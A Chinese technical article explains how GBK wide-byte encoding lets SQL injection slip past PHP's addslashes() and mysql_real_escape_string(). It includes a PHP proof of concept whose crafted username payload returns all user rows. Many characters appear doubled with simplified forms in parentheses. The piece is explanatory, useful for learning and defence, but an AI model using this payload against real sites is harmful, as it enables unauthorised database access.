其實(shí)這東西國(guó)內(nèi)少數(shù)黑客早已知道,只不過(guò)沒(méi)有共享公布而已。有些人是不愿共享,寧愿爛在地里,另外的一些則是用來(lái)牟利。
該漏洞最早2006年被國(guó)外用來(lái)討論數(shù)據(jù)庫(kù)字符集設(shè)為GBK時(shí),0xbf27本身不是一個(gè)有效的GBK字符,但經(jīng)過(guò) addslashes() 轉(zhuǎn)換后變?yōu)?xbf5c27,前面的0xbf5c是個(gè)有效的GBK字符,所以0xbf5c27會(huì)被當(dāng)作一個(gè)字符0xbf5c和一個(gè)單引號(hào)來(lái)處理,結(jié)果漏洞就觸發(fā)了。
mysql_real_escape_string() 也存在相同的問(wèn)題,只不過(guò)相比 addslashes() 它考慮到了用什么字符集來(lái)處理,因此可以用相應(yīng)的字符集來(lái)處理字符。在MySQL 中有兩種改變默認(rèn)字符集的方法。
方法一:
改變mysql配置文件my.cnf
[client]
default-character-set=GBK
方法二:
在建立連接時(shí)使用
SET CHARACTER SET 'GBK'
例:mysql_query("SET CHARACTER SET 'gbk'", $c);
問(wèn)題是方法二在改變字符集時(shí)mysql_real_escape_string() 并不知道而使用默認(rèn)字符集處理從而造成和 addslashes() 一樣的漏洞
下面是來(lái)自http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html的測(cè)試代碼
<?php
$c = mysql_connect("localhost", "user", "pass");
mysql_select_db("database", $c);
// change our character set
mysql_query("SET CHARACTER SET 'gbk'", $c);
// create demo table
mysql_query("CREATE TABLE users (
username VARCHAR(32) PRIMARY KEY,
password VARCHAR(32)
) CHARACTER SET 'GBK'", $c);
mysql_query("INSERT INTO users VALUES('foo','bar'), ('baz','test')", $c);
// now the exploit code
$_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*';
$_POST['password'] = 'anything';
// Proper escaping, we should be safe, right?
$user = mysql_real_escape_string($_POST['username'], $c);
$passwd = mysql_real_escape_string($_POST['password'], $c);
$sql = "SELECT * FROM users WHERE username = '{$user}' AND password = '{$passwd}'";
$res = mysql_query($sql, $c);
echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records
?>
縱觀以上兩種觸發(fā)漏洞的關(guān)鍵是addslashes() 在Mysql配置為GBK時(shí)就可以觸發(fā)漏洞,而mysql_real_escape_string() 是在不知道字符集的情況下用默認(rèn)字符集處理產(chǎn)生漏洞的。
新聞熱點(diǎn)
疑難解答